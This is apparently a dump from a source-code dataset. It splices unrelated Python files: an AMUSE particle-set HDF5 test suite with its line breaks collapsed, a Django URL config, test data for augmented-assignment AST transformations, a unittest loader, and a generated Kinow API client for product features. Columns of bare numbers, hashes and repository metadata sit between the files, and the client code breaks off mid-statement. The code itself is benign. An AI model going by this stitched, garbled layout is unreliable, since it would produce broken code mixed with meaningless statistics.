self.assertEqual(len(x), len(y)) self.assertEqual(len(x[0].sub), len(y[0].sub)) self.assertTrue(y[1].sub==x[1].sub==None) os.remove(output_file) def test58(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test58"+self.store_version()+".h5") if os.path.exists(output_file): os.remove(output_file) x = Particles(keys = (1,2)) x.mass = [1,2] | units.kg y = Particles(keys = (11,12,13,14)) y.mass = [40,50,60,70] | units.kg x.sub = None x[0].sub = y[0:2] y[0].sub = y[2:] io.write_set_to_file(x, output_file,"amuse", version=self.store_version()) z = io.read_set_from_file(output_file,"amuse") self.assertEqual(len(x), len(z)) self.assertEqual(len(x[0].sub), len(z[0].sub)) self.assertEqual(x[0].sub[0].sub.key, (13,14)) self.assertEqual(z[0].sub[0].sub.key, (13,14)) self.assertEqual(id(x[0].sub._original_set()), id(x[0].sub[0].sub._original_set())) # no more subsets, could this be fixed, would be very nice to do so # self.assertEqual(id(z[0].sub._original_set()), id(z[0].sub[0].sub._original_set())) self.assertTrue(z[1].sub==x[1].sub==None) os.remove(output_file) def test59(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test59"+self.store_version()+".h5") if os.path.exists(output_file): os.remove(output_file) g=Grid(10,10) p=Particles(2) p[0].sub=g[0:5] io.write_set_to_file(p, output_file,"amuse", version=self.store_version()) z = io.read_set_from_file(output_file,"amuse") os.remove(output_file) def test60(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test60"+self.store_version()+".h5") if os.path.exists(output_file): os.remove(output_file) x = Particles(2) x.mass = 1 | units.kg y = Particles(2) y.mass = 2 | units.kg io.write_set_to_file((x,y), output_file,"amuse", version=self.store_version(), names = ("x", "y")) z = io.read_set_from_file(output_file,"amuse") os.remove(output_file) self.assertTrue("x" in z) self.assertTrue("y" in z) self.assertAlmostRelativeEquals(z["x"].mass, 1 | units.kg) self.assertAlmostRelativeEquals(z["y"].mass, 2 | units.kg) def test61(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test61"+self.store_version()+".h5") if os.path.exists(output_file): os.remove(output_file) x = Particles(10) x.mass = 1 | units.kg y = Particles(20) y.id = range(20) x[0].y = y[5:7] io.write_set_to_file(x, output_file,"amuse", version=self.store_version()) z = io.read_set_from_file(output_file,"amuse") self.assertEquals(x[0].y[0].id, 5) self.assertEquals(z[0].y[0].id, 5) os.remove(output_file)

38.826617

152

0.618567

5,634

41,428

4.339546

0.040824

0.086711

0.064134

0.053622

0.861753

0.838807

0.815534

0.784531

0.770256

0.751442

0

0.038497

0.248841

41,428

1,066

153

38.863039

0.747164

0.009824

0

0.622222

0

0.019409

0

0.184314

0

null

0

0.019608

null

0.002614

0

null

0

1

0

null

0

1

0

7

5d2c9c82731db038643ae97346479905b7b053f7

188

py

Python

Business/comingsoon/urls.py

Kshashank9/Business-Topology-Website

17d0c5ccabb17c52b6162e147640275de32e5169

[ "MIT" ]

null

Business/comingsoon/urls.py

Kshashank9/Business-Topology-Website

17d0c5ccabb17c52b6162e147640275de32e5169

[ "MIT" ]

null

Business/comingsoon/urls.py

Kshashank9/Business-Topology-Website

17d0c5ccabb17c52b6162e147640275de32e5169

[ "MIT" ]

null

from django.contrib import admin from django.urls import path from . import views from django.urls import include urlpatterns = [ path('',views.coming_soon,name="coming_soon"), ]

20.888889

50

0.744681

26

188

5.307692

0.5

0.217391

0.202899

0.289855

0

0.159574

188

9

51

20.888889

0.873418

0

0.058201

0

1

0

false

0

0.571429

0

0.571429

0

1

0

null

1

0

1

0

null

0

1

0

1

0

7

539367593e9c788d0a45dffd0907283085ccdbb9

444

py

Python

ast-transformations-core/src/test/resources/org/jetbrains/research/ml/ast/transformations/augmentedAssignment/data/out_2.py

JetBrains-Research/ast-transformations

0ab408af3275b520cc87a473f418c4b4dfcb0284

[ "MIT" ]

8

2021-01-19T21:15:54.000Z

2022-02-23T19:16:25.000Z

ast-transformations-core/src/test/resources/org/jetbrains/research/ml/ast/transformations/augmentedAssignment/data/out_2.py

JetBrains-Research/ast-transformations

0ab408af3275b520cc87a473f418c4b4dfcb0284

[ "MIT" ]

4

2020-11-17T14:28:25.000Z

2022-02-24T07:54:28.000Z

ast-transformations-core/src/test/resources/org/jetbrains/research/ml/ast/transformations/augmentedAssignment/data/out_2.py

nbirillo/ast-transformations

717706765a2da29087a0de768fc851698886dd65

[ "MIT" ]

1

2022-02-23T19:16:30.000Z

x = 0 x = x + 10 x = x - 10 x = x * 10 x = x @ 10 x = x / 10 x = x // 10 x = x % 10 x = x ** 10 x = x >> 10 x = x << 10 x = x & 10 x = x ^ 10 x = x | 10 x = x + (10 + 20 * 3) x = x - (10 + 20 * 3) x = x * (10 + 20 * 3) x = x @ (10 + 20 * 3) x = x / (10 + 20 * 3) x = x // (10 + 20 * 3) x = x % (10 + 20 * 3) x = x ** (10 + 20 * 3) x = x >> (10 + 20 * 3) x = x << (10 + 20 * 3) x = x & (10 + 20 * 3) x = x ^ (10 + 20 * 3) x = x | (10 + 20 * 3)

15.310345

22

0.326577

106

444

1.367925

0.04717

0.358621

0.717241

0.448276

0.986207

0

0.356589

0.418919

444

28

23

15.857143

0.205426

0

1

0

false

0

1

null

1

0

1

0

1

0

null

0

12

539ac0342cd5b592bb46d835a3bdc27b9640de23

93

py

Python

src/hieroglyph/tests/__init__.py

pydanny/hieroglyph

a4efd5e866e60b24cc18cbd9ea714e64e77342fc

[ "BSD-3-Clause" ]

1

2018-07-24T12:06:20.000Z

src/hieroglyph/tests/__init__.py

pydanny/hieroglyph

a4efd5e866e60b24cc18cbd9ea714e64e77342fc

[ "BSD-3-Clause" ]

null

src/hieroglyph/tests/__init__.py

pydanny/hieroglyph

a4efd5e866e60b24cc18cbd9ea714e64e77342fc

[ "BSD-3-Clause" ]

1

2018-07-24T12:05:59.000Z

import unittest def additional_tests(): return unittest.defaultTestLoader.discover('.')

18.6

51

0.774194

9

93

7.888889

0.888889

0

0.11828

93

4

52

23.25

0.865854

0

0.010753

0

1

0.333333

true

0

0.333333

1

0

1

0

null

0

1

0

null

0

1

0

1

0

7

539ffa3119d0874ad8461b43aac3a77dfa2f4558

52,340

py

Python

kinow_client/apis/features_api.py

kinow-io/kinow-python-sdk

4c1699a3c78048b84287bd049a669651a5b4e2d5

[ "Apache-2.0" ]

1

2019-06-26T14:24:54.000Z

kinow_client/apis/features_api.py

kinow-io/kinow-python-sdk

4c1699a3c78048b84287bd049a669651a5b4e2d5

[ "Apache-2.0" ]

null

kinow_client/apis/features_api.py

kinow-io/kinow-python-sdk

4c1699a3c78048b84287bd049a669651a5b4e2d5

[ "Apache-2.0" ]

1

2018-02-01T10:08:40.000Z

# coding: utf-8 """ Server API Reference for Server API (REST/Json) OpenAPI spec version: 1.4.58 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import sys import os import re # python 2 and python 3 compatibility library from six import iteritems from ..configuration import Configuration from ..api_client import ApiClient class FeaturesApi(object): """ NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. Ref: https://github.com/swagger-api/swagger-codegen """ def __init__(self, api_client=None): config = Configuration() if api_client: self.api_client = api_client else: if not config.api_client: config.api_client = ApiClient() self.api_client = config.api_client def attach_features_to_category(self, category_id, features, **kwargs): """ Attach feature to category This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.attach_features_to_category(category_id, features, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int category_id: (required) :param str features: To attach existing FeatureValue to Category: ``` [{ \"id_feature\":3, \"id_feature_value\":5 }] ``` To create a custom FeatureValue: ``` [{ \"id_feature\":3, \"custom_value\":[{ \"lang\": 1, \"value\": \"string\" }] }] ``` (required) :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.attach_features_to_category_with_http_info(category_id, features, **kwargs) else: (data) = self.attach_features_to_category_with_http_info(category_id, features, **kwargs) return data def attach_features_to_category_with_http_info(self, category_id, features, **kwargs): """ Attach feature to category This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.attach_features_to_category_with_http_info(category_id, features, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int category_id: (required) :param str features: To attach existing FeatureValue to Category: ``` [{ \"id_feature\":3, \"id_feature_value\":5 }] ``` To create a custom FeatureValue: ``` [{ \"id_feature\":3, \"custom_value\":[{ \"lang\": 1, \"value\": \"string\" }] }] ``` (required) :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['category_id', 'features'] all_params.append('callback') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method attach_features_to_category" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'category_id' is set if ('category_id' not in params) or (params['category_id'] is None): raise ValueError("Missing the required parameter `category_id` when calling `attach_features_to_category`") # verify the required parameter 'features' is set if ('features' not in params) or (params['features'] is None): raise ValueError("Missing the required parameter `features` when calling `attach_features_to_category`") collection_formats = {} resource_path = '/categories/{category_id}/features'.replace('{format}', 'json') path_params = {} if 'category_id' in params: path_params['category_id'] = params['category_id'] query_params = {} header_params = {} form_params = [] local_var_files = {} if 'features' in params: form_params.append(('features', params['features'])) self.api_client.set_default_header('Content-Type', 'application/x-www-form-urlencoded') body_params = None # Authentication setting auth_settings = ['ApiClientId', 'ApiClientSecret'] return self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def attach_features_to_extract(self, extract_id, features, **kwargs): """ Attach feature to extract This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.attach_features_to_extract(extract_id, features, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int extract_id: (required) :param str features: To attach existing FeatureValue to Product: ``` [{ \"id_feature\":3, \"id_feature_value\":5 }] ``` To create a custom FeatureValue: ``` [{ \"id_feature\":3, \"custom_value\":[{ \"lang\": 1, \"value\": \"string\" }] }] ``` (required) :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.attach_features_to_extract_with_http_info(extract_id, features, **kwargs) else: (data) = self.attach_features_to_extract_with_http_info(extract_id, features, **kwargs) return data def attach_features_to_extract_with_http_info(self, extract_id, features, **kwargs): """ Attach feature to extract This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.attach_features_to_extract_with_http_info(extract_id, features, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int extract_id: (required) :param str features: To attach existing FeatureValue to Product: ``` [{ \"id_feature\":3, \"id_feature_value\":5 }] ``` To create a custom FeatureValue: ``` [{ \"id_feature\":3, \"custom_value\":[{ \"lang\": 1, \"value\": \"string\" }] }] ``` (required) :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['extract_id', 'features'] all_params.append('callback') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method attach_features_to_extract" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'extract_id' is set if ('extract_id' not in params) or (params['extract_id'] is None): raise ValueError("Missing the required parameter `extract_id` when calling `attach_features_to_extract`") # verify the required parameter 'features' is set if ('features' not in params) or (params['features'] is None): raise ValueError("Missing the required parameter `features` when calling `attach_features_to_extract`") collection_formats = {} resource_path = '/extracts/{extract_id}/features'.replace('{format}', 'json') path_params = {} if 'extract_id' in params: path_params['extract_id'] = params['extract_id'] query_params = {} header_params = {} form_params = [] local_var_files = {} if 'features' in params: form_params.append(('features', params['features'])) self.api_client.set_default_header('Content-Type', 'application/x-www-form-urlencoded') body_params = None # Authentication setting auth_settings = ['ApiClientId', 'ApiClientSecret'] return self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def attach_features_to_product(self, product_id, features, **kwargs): """ Attach feature to product This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.attach_features_to_product(product_id, features, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int product_id: (required) :param str features: To attach existing FeatureValue to Product: ``` [{ \"id_feature\":3, \"id_feature_value\":5 }]``` To create a custom FeatureValue: ``` [{ \"id_feature\":3, \"custom_value\":[{ \"lang\": 1, \"value\": \"string\" }] }]``` (required) :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.attach_features_to_product_with_http_info(product_id, features, **kwargs) else: (data) = self.attach_features_to_product_with_http_info(product_id, features, **kwargs) return data def attach_features_to_product_with_http_info(self, product_id, features, **kwargs): """ Attach feature to product This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.attach_features_to_product_with_http_info(product_id, features, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int product_id: (required) :param str features: To attach existing FeatureValue to Product: ``` [{ \"id_feature\":3, \"id_feature_value\":5 }]``` To create a custom FeatureValue: ``` [{ \"id_feature\":3, \"custom_value\":[{ \"lang\": 1, \"value\": \"string\" }] }]``` (required) :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['product_id', 'features'] all_params.append('callback') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method attach_features_to_product" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'product_id' is set if ('product_id' not in params) or (params['product_id'] is None): raise ValueError("Missing the required parameter `product_id` when calling `attach_features_to_product`") # verify the required parameter 'features' is set if ('features' not in params) or (params['features'] is None): raise ValueError("Missing the required parameter `features` when calling `attach_features_to_product`") collection_formats = {} resource_path = '/products/{product_id}/features'.replace('{format}', 'json') path_params = {} if 'product_id' in params: path_params['product_id'] = params['product_id'] query_params = {} header_params = {} form_params = [] local_var_files = {} if 'features' in params: form_params.append(('features', params['features'])) self.api_client.set_default_header('Content-Type', 'application/x-www-form-urlencoded') body_params = None # Authentication setting auth_settings = ['ApiClientId', 'ApiClientSecret'] return self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def attach_features_to_video(self, video_id, features, **kwargs): """ Attach feature to video This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.attach_features_to_video(video_id, features, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int video_id: (required) :param str features: To attach existing FeatureValue to Product: ``` [{ \"id_feature\":3, \"id_feature_value\":5 }] ``` To create a custom FeatureValue: ``` [{ \"id_feature\":3, \"custom_value\":[{ \"lang\": 1, \"value\": \"string\" }] }] ``` (required) :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.attach_features_to_video_with_http_info(video_id, features, **kwargs) else: (data) = self.attach_features_to_video_with_http_info(video_id, features, **kwargs) return data def attach_features_to_video_with_http_info(self, video_id, features, **kwargs): """ Attach feature to video This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.attach_features_to_video_with_http_info(video_id, features, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int video_id: (required) :param str features: To attach existing FeatureValue to Product: ``` [{ \"id_feature\":3, \"id_feature_value\":5 }] ``` To create a custom FeatureValue: ``` [{ \"id_feature\":3, \"custom_value\":[{ \"lang\": 1, \"value\": \"string\" }] }] ``` (required) :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['video_id', 'features'] all_params.append('callback') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method attach_features_to_video" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'video_id' is set if ('video_id' not in params) or (params['video_id'] is None): raise ValueError("Missing the required parameter `video_id` when calling `attach_features_to_video`") # verify the required parameter 'features' is set if ('features' not in params) or (params['features'] is None): raise ValueError("Missing the required parameter `features` when calling `attach_features_to_video`") collection_formats = {} resource_path = '/videos/{video_id}/features'.replace('{format}', 'json') path_params = {} if 'video_id' in params: path_params['video_id'] = params['video_id'] query_params = {} header_params = {} form_params = [] local_var_files = {} if 'features' in params: form_params.append(('features', params['features'])) self.api_client.set_default_header('Content-Type', 'application/x-www-form-urlencoded') body_params = None # Authentication setting auth_settings = ['ApiClientId', 'ApiClientSecret'] return self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def detach_feature_to_product(self, product_id, feature_id, **kwargs): """ Detach feature to product This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.detach_feature_to_product(product_id, feature_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int product_id: (required) :param int feature_id: (required) :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.detach_feature_to_product_with_http_info(product_id, feature_id, **kwargs) else: (data) = self.detach_feature_to_product_with_http_info(product_id, feature_id, **kwargs) return data def detach_feature_to_product_with_http_info(self, product_id, feature_id, **kwargs): """ Detach feature to product This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.detach_feature_to_product_with_http_info(product_id, feature_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int product_id: (required) :param int feature_id: (required) :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['product_id', 'feature_id'] all_params.append('callback') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method detach_feature_to_product" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'product_id' is set if ('product_id' not in params) or (params['product_id'] is None): raise ValueError("Missing the required parameter `product_id` when calling `detach_feature_to_product`") # verify the required parameter 'feature_id' is set if ('feature_id' not in params) or (params['feature_id'] is None): raise ValueError("Missing the required parameter `feature_id` when calling `detach_feature_to_product`") collection_formats = {} resource_path = '/products/{product_id}/features/{feature_id}'.replace('{format}', 'json') path_params = {} if 'product_id' in params: path_params['product_id'] = params['product_id'] if 'feature_id' in params: path_params['feature_id'] = params['feature_id'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['ApiClientId', 'ApiClientSecret'] return self.api_client.call_api(resource_path, 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_category_features(self, category_id, **kwargs): """ Get category features This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_category_features(category_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int category_id: Category ID to fetch (required) :param int page: :param int per_page: :return: Features If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.get_category_features_with_http_info(category_id, **kwargs) else: (data) = self.get_category_features_with_http_info(category_id, **kwargs) return data def get_category_features_with_http_info(self, category_id, **kwargs): """ Get category features This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_category_features_with_http_info(category_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int category_id: Category ID to fetch (required) :param int page: :param int per_page: :return: Features If the method is called asynchronously, returns the request thread. """ all_params = ['category_id', 'page', 'per_page'] all_params.append('callback') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_category_features" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'category_id' is set if ('category_id' not in params) or (params['category_id'] is None): raise ValueError("Missing the required parameter `category_id` when calling `get_category_features`") collection_formats = {} resource_path = '/categories/{category_id}/features'.replace('{format}', 'json') path_params = {} if 'category_id' in params: path_params['category_id'] = params['category_id'] query_params = {} if 'page' in params: query_params['page'] = params['page'] if 'per_page' in params: query_params['per_page'] = params['per_page'] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['ApiClientId', 'ApiClientSecret'] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Features', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_extract_features(self, extract_id, **kwargs): """ Get extract features This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_extract_features(extract_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int extract_id: Extract ID to fetch (required) :param int page: :param int per_page: :return: Features If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.get_extract_features_with_http_info(extract_id, **kwargs) else: (data) = self.get_extract_features_with_http_info(extract_id, **kwargs) return data def get_extract_features_with_http_info(self, extract_id, **kwargs): """ Get extract features This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_extract_features_with_http_info(extract_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int extract_id: Extract ID to fetch (required) :param int page: :param int per_page: :return: Features If the method is called asynchronously, returns the request thread. """ all_params = ['extract_id', 'page', 'per_page'] all_params.append('callback') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_extract_features" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'extract_id' is set if ('extract_id' not in params) or (params['extract_id'] is None): raise ValueError("Missing the required parameter `extract_id` when calling `get_extract_features`") collection_formats = {} resource_path = '/extracts/{extract_id}/features'.replace('{format}', 'json') path_params = {} if 'extract_id' in params: path_params['extract_id'] = params['extract_id'] query_params = {} if 'page' in params: query_params['page'] = params['page'] if 'per_page' in params: query_params['per_page'] = params['per_page'] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['ApiClientId', 'ApiClientSecret'] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Features', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_feature_values(self, **kwargs): """ Get feature value list This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_feature_values(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int page: :param int per_page: :return: Products1 If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.get_feature_values_with_http_info(**kwargs) else: (data) = self.get_feature_values_with_http_info(**kwargs) return data def get_feature_values_with_http_info(self, **kwargs): """ Get feature value list This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_feature_values_with_http_info(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int page: :param int per_page: :return: Products1 If the method is called asynchronously, returns the request thread. """ all_params = ['page', 'per_page'] all_params.append('callback') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_feature_values" % key ) params[key] = val del params['kwargs'] collection_formats = {} resource_path = '/feature-values'.replace('{format}', 'json') path_params = {} query_params = {} if 'page' in params: query_params['page'] = params['page'] if 'per_page' in params: query_params['per_page'] = params['per_page'] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['ApiClientId', 'ApiClientSecret'] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Products1', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_features(self, **kwargs): """ Get feature list This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_features(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int page: :param int per_page: :return: Features If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.get_features_with_http_info(**kwargs) else: (data) = self.get_features_with_http_info(**kwargs) return data def get_features_with_http_info(self, **kwargs): """ Get feature list This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_features_with_http_info(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int page: :param int per_page: :return: Features If the method is called asynchronously, returns the request thread. """ all_params = ['page', 'per_page'] all_params.append('callback') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_features" % key ) params[key] = val del params['kwargs'] collection_formats = {} resource_path = '/features'.replace('{format}', 'json') path_params = {} query_params = {} if 'page' in params: query_params['page'] = params['page'] if 'per_page' in params: query_params['per_page'] = params['per_page'] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['ApiClientId', 'ApiClientSecret'] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Features', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_product_features(self, product_id, **kwargs): """ Get product features This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_product_features(product_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int product_id: Product ID to fetch (required) :param int page: :param int per_page: :return: Features If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.get_product_features_with_http_info(product_id, **kwargs) else: (data) = self.get_product_features_with_http_info(product_id, **kwargs) return data def get_product_features_with_http_info(self, product_id, **kwargs): """ Get product features This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_product_features_with_http_info(product_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int product_id: Product ID to fetch (required) :param int page: :param int per_page: :return: Features If the method is called asynchronously, returns the request thread. """ all_params = ['product_id', 'page', 'per_page'] all_params.append('callback') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_product_features" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'product_id' is set if ('product_id' not in params) or 